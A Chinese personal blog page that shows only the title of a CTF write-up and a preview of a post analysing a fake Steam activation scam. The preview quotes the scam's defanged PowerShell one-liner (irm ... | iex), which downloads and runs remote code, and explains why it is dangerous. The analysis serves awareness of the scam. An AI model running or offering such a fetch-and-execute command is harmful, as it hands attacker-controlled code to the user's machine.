文章
6
标签
20
分类
5
home
categories
tags
archives
0neqiu's Blog
[GWCTF 2019]babyvm -- 记一次vm题
返回首页
搜索
home
categories
tags
archives
[GWCTF 2019]babyvm -- 记一次vm题
发表于
2025-12-02
|
更新于
2025-12-02
|
浏览量:
文章作者:
0neqiu
文章链接:
https://0neqiu.me/uncategorized/GWCTF-2019-babyvm-%E8%AE%B0%E4%B8%80%E6%AC%A1vm%E9%A2%98/
版权声明:
本博客所有文章除特别声明外，均采用
CC BY-NC-SA 4.0
许可协议。转载请注明来源
0neqiu's Blog
！
vm
re
下一篇
fakesteamcdk
前言 最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了，很感兴趣，便借着文章浅浅的探究一下。 核心就两个步骤: 步骤一：按住键盘win + X，找到powershell（终端管理员） 步骤二：输入irm 2[.]steam[.]work|iex（已去功能化） 提一下irm和iex： irm 是一个用来从互联网下载内容的命令。 详细一点讲: irm 其实是 PowerShell 里的一个别名。 它的完整命令是 Invoke-RestMethod。 它的主要工作是向一个网址（URL）发送请求，并获取服务器返回的数据。 iex 是一个用来把纯文本（字符串）当作 PowerShell 命令来立即执行的命令。 iex 也是一个别名。 它的全称是 Invoke-Expression（调用表达式） 它的工作极其简单粗暴：你给它一段纯文本（字符串），它会把这段文本当作 PowerShell 命令来立即执行。 这条指令就是下载 2.steam.work 网址上的所有文本，然后直接通过管道符(|)直接作为输入，给iex执行，这是及其危险的。 ...
评论
0neqiu
一叶落而知天下秋
文章
6
标签
20
分类
5
公告
欢迎来到我的blog！
这是我的
GitHub
。
最新文章
[GWCTF 2019]babyvm -- 记一次vm题
2025-12-02
fakesteamcdk
2025-11-11
LLVM学习笔记(In Progress)
2025-09-22
隐写术-文件合并
2025-06-24
Selenium 基础入门教程（Python版）
2025-06-12
搜索
数据加载中
